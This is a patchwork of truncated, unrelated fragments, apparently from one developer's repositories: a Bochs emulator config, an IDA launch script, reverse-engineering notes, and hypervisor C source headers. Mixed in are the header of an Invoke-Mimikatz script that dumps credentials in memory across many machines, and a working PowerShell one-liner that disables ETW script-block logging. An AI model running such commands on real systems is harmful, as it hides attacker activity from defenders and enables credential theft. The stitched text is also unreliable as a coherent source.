tandasat

# configuration file generated by Bochs
plugin_ctrl: unmapped=1, biosdev=1, speaker=1, extfpuirq=1, gameport=1, pci_ide=1, acpi=1, ioapic=1
config_interface: win32config
display_library: win32, options="gui_debug"
memory: host=1024, guest=1024
romimage: file="C:\Program Files (x86)\Bochs-2.4.6\BIOS-bochs-latest"
vgaromimage: file="C:\Program Files (x86)\Bochs-2.4.6\VGABIOS-lgpl-latest"
boot: cdrom, disk
floppy_bootsig_check: disabled=0
# no floppya

tandasat

set TARGET_BXRC=bochsrc2.4.6
set BXSHARE=C:\Program Files (x86)\Bochs-2.4.6
set IDABASE=C:\Program Files (x86)\IDA

"%IDABASE%\idaq.exe" -c -A -OIDAPython:mbr.py %TARGET_BXRC%.bxrc
"%IDABASE%\idaq.exe" -rbochs %TARGET_BXRC%.idb

tandasat

///////////////////////////////////////////////////////////////////////////////
//
// p11
//

//////////////////////////////// 1
; ASM
edi = s->0x8_charp
edx = edi
eax = 0

tandasat

Susupended because of other project.

///////////////////////////////////////////////////////////////////////////////
//
// p123
//

I used Windows 8 kernel version 16628.

//////////////////////////////// 1-6

tandasat

#include <stdio.h>
#include <string.h>
#include "lib.h"
#include <Wininet.h>
//#include "starter.h"

//include OTF
#include "font.h" // foofont is fetched from loader config struct 

//#include "cert.h"

tandasat

function Invoke-Mimikidz
{
<#
.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk. 
The script has a ComputerName parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

tandasat

#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
# 
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

tandasat

#
function Invoke-Mimikatz
{
<#
.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk. 
The script has a ComputerName parameter which allows it to be executed against multiple computers.

tandasat

/*!
    @file GuestAgent.c

    @brief GuestAgent code.

    @author Satoshi Tanda

    @copyright Copyright (c) 2020 - , Satoshi Tanda. All rights reserved.
 */
#include "GuestAgent.h"

tandasat

/**
 * @file CheckGuestVmcsFieldsForVmEntry.c
 * @author Satoshi Tanda (tanda.sat@gmail.com)
 * @brief Checks validity of the guest VMCS fields for VM-entry as per
 *      26.3 CHECKING AND LOADING GUEST STATE
 * @version 0.1
 * @date 2021-02-20
 *
 * @details This file implements part of checks performed by a processor during
 *      VM-entry as CheckGuestVmcsFieldsForVmEntry(). This can be called on VM-exit